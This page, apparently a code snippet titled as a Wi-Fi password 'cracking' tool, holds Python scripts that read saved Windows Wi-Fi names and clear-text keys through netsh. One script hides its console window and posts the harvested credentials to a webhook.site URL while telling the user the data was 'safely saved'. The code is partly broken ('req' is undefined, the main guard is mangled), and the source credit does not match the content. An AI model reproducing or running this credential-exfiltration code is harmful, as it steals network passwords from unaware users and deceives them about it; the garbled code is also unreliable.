Wifi 破解密码
作者: timothiyelet-crypto创建于 2025年10月22日更新于 2026年9月24日
标签needs-review
导入模块 import subprocess import wifi_qrcode_generator # 尝试捕获块开始 # 尝试块 try: # 遍历配置文件 Id = subprocess.check_output(['netsh', 'wlan', 'show', 'interfaces']).decode('utf-8').split('\n') id_results = str([b.split(":")[1][1:-1] for b in Id if "Profile" in b])[2:-3] # 遍历密码 password = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles', id_results, 'key=clear']).decode('utf-8').split('\n') pass_results = str([b.split(":")[1][1:-1] for b in password if "Key Content" in b])[2:-2] print("用户名:", id_results) print("密码:", pass_results) except: print("出现问题") # 生成二维码 wifi_qrcode_generator.wifi_qrcode(id_results, False, 'WPA', pass_results) import subprocess import re import json import urllib.request import urllib.error # 运行命令并隐藏命令提示符窗口的函数 def run_command(command): startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW return subprocess.run(command, capture_output=True, text=True, startupinfo=startupinfo) # 获取 Wi-Fi 配置文件的函数 def get_wifi_profiles(): # 使用 'netsh wlan show profiles' 获取 Wi-Fi 配置文件的列表 profiles_output = run_command(["netsh", "wlan", "show", "profiles"]) profiles = [line.split(":")[1].strip() for line in profiles_output.stdout.splitlines() if "All User Profile" in line] # 创建字典,用于存储 Wi-Fi 配置文件名和它们的密钥 wifi_data = {} # 循环遍历每个 Wi-Fi 配置文件并提取其名称和密钥 for profile in profiles: profile_output = run_command(["netsh", "wlan", "show", "profile", "name=" + profile, "key=clear"]) name_match = re.search(r"Name\s+:\s+(.+)", profile_output.stdout) key_match = re.search(r"Key Content\s+:\s+(.+)", profile_output.stdout) if name_match and key_match: profile_name = name_match.group(1) key_content = key_match.group(1) wifi_data[profile_name] = key_content return wifi_data # 将数据发送到 webhook 的函数 def send_to_webhook(data, webhook_url): # 定义头部并准备 JSON 数据 headers = {'Content-Type': 'application/json'} data = json.dumps(data).encode('utf-8') # 使用 HTTP 请求将 JSON 数据发送到 webhook try: with urllib.request.urlopen(req) as response: print("您的 Wi-Fi 配置文件名和密码已安全保存。") except urllib.error.URLError as e: print("发送请求时出现错误:", e) if name == "main": # 定义 webhook URL(请替换为自己的 URL) webhook_url = "https://webhook.site/ae6c8f3b-9d2e-48e7-bdab-9a1e4a38db94" # 获取 Wi-Fi 配置文件并发送到 webhook wifi_profiles = get_wifi_profiles() send_to_webhook(wifi_profiles, webhook_url)
内容来源: donnemartin/system-design-primer